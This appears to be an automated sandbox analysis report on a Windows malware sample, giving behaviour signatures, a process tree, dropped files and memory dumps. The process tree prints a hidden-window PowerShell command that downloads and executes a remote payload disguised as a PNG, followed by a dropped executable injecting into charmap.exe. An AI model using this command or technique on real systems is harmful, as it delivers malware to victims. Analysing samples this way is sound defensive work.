Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
23/04/2026, 12:54
General
- Target _791dcc176d228f425955ae154a4648c7258e314f0655005ab17f021c12c45443.exe
- Size 103KB
- Sample260423-p5hbpsd17x
- SHA256 791dcc176d228f425955ae154a4648c7258e314f0655005ab17f021c12c45443
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Drops startup file 1 IoCs
- Executes dropped EXE 1 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 3 IoCs
- Suspicious use of SendNotifyMessage 3 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\_791dcc176d228f425955ae154a4648c7258e314f0655005ab17f021c12c45443.exe"C:\Users\Admin\AppData\Local\Temp\_791dcc176d228f425955ae154a4648c7258e314f0655005ab17f021c12c45443.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\32F2.tmp\32F3.tmp\3304.bat C:\Users\Admin\AppData\Local\Temp\_791dcc176d228f425955ae154a4648c7258e314f0655005ab17f021c12c45443.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w h iex(irm https://d.tmpfile.link/public/2026-04-22/281d7409-d8fa-4744-a66a-e16737f390b1/ghhjgr.png)3⤵
- Badlisted process makes network request
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pa3g1r2p\pa3g1r2p.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3B8D.tmp" "c:\Users\Admin\AppData\Local\Temp\pa3g1r2p\CSC76DD6472F79447CA286CF95AF1DD54.TMP"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\zjcgrocujxdquegvwhewbkebtswl.exe"C:\Users\Admin\AppData\Local\Temp\zjcgrocujxdquegvwhewbkebtswl.exe" "C:\Users\Admin\AppData\Local\Temp\cmozr"4⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\charmap.exeC:\Windows\System32\charmap.exe5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
3304.bat
RES3B8D.tmp
__PSScriptPolicyTest_azapgwd1.ub3.ps1
cmozr
litrsqcrusgwk
pa3g1r2p.dll
pmt_bh_3ca2ae15ec244fac82590fe457002a7b.tmp
pmt_bh_40026fa2b023428fb014c35b517a6a12.tmp
zjcgrocujxdquegvwhewbkebtswl.exe
CSC76DD6472F79447CA286CF95AF1DD54.TMP
pa3g1r2p.0.cs
pa3g1r2p.cmdline
memory/1316-3-0x00000000007E0000-0x000000000089F000-memory.dmp
memory/1316-0-0x0000000000417000-0x0000000000418000-memory.dmp
memory/1512-57-0x0000022E13F50000-0x0000022E13F5C000-memory.dmp
memory/1512-7-0x0000022E13F30000-0x0000022E13F40000-memory.dmp
memory/1512-32-0x0000022E2C610000-0x0000022E2C618000-memory.dmp
memory/1512-33-0x0000022E13F30000-0x0000022E13F40000-memory.dmp
memory/1512-16-0x0000022E2CC60000-0x0000022E2CE22000-memory.dmp
memory/1512-13-0x0000022E2C620000-0x0000022E2C642000-memory.dmp
memory/1512-6-0x0000022E13F30000-0x0000022E13F40000-memory.dmp
memory/1512-56-0x0000022E13D70000-0x0000022E13E1D000-memory.dmp
memory/2516-48-0x0000012662470000-0x00000126624B7000-memory.dmp
memory/2516-49-0x0000012664150000-0x0000012664178000-memory.dmp
memory/2516-47-0x0000012662470000-0x00000126624B7000-memory.dmp
memory/2516-45-0x0000012662470000-0x00000126624B7000-memory.dmp
memory/2516-44-0x0000012662470000-0x00000126624B7000-memory.dmp
memory/2516-51-0x000001267EEE0000-0x000001267F408000-memory.dmp
memory/2516-46-0x0000012662470000-0x00000126624B7000-memory.dmp
memory/2516-59-0x0000012664220000-0x000001266422C000-memory.dmp
memory/2516-58-0x00000126626E0000-0x0000012662881000-memory.dmp
memory/3912-26-0x0000026638990000-0x000002663899C000-memory.dmp
memory/3936-29-0x000001336F760000-0x000001336F901000-memory.dmp
memory/3936-30-0x000001336FA60000-0x000001336FA6C000-memory.dmp
memory/4304-50-0x000001C363A70000-0x000001C363B1D000-memory.dmp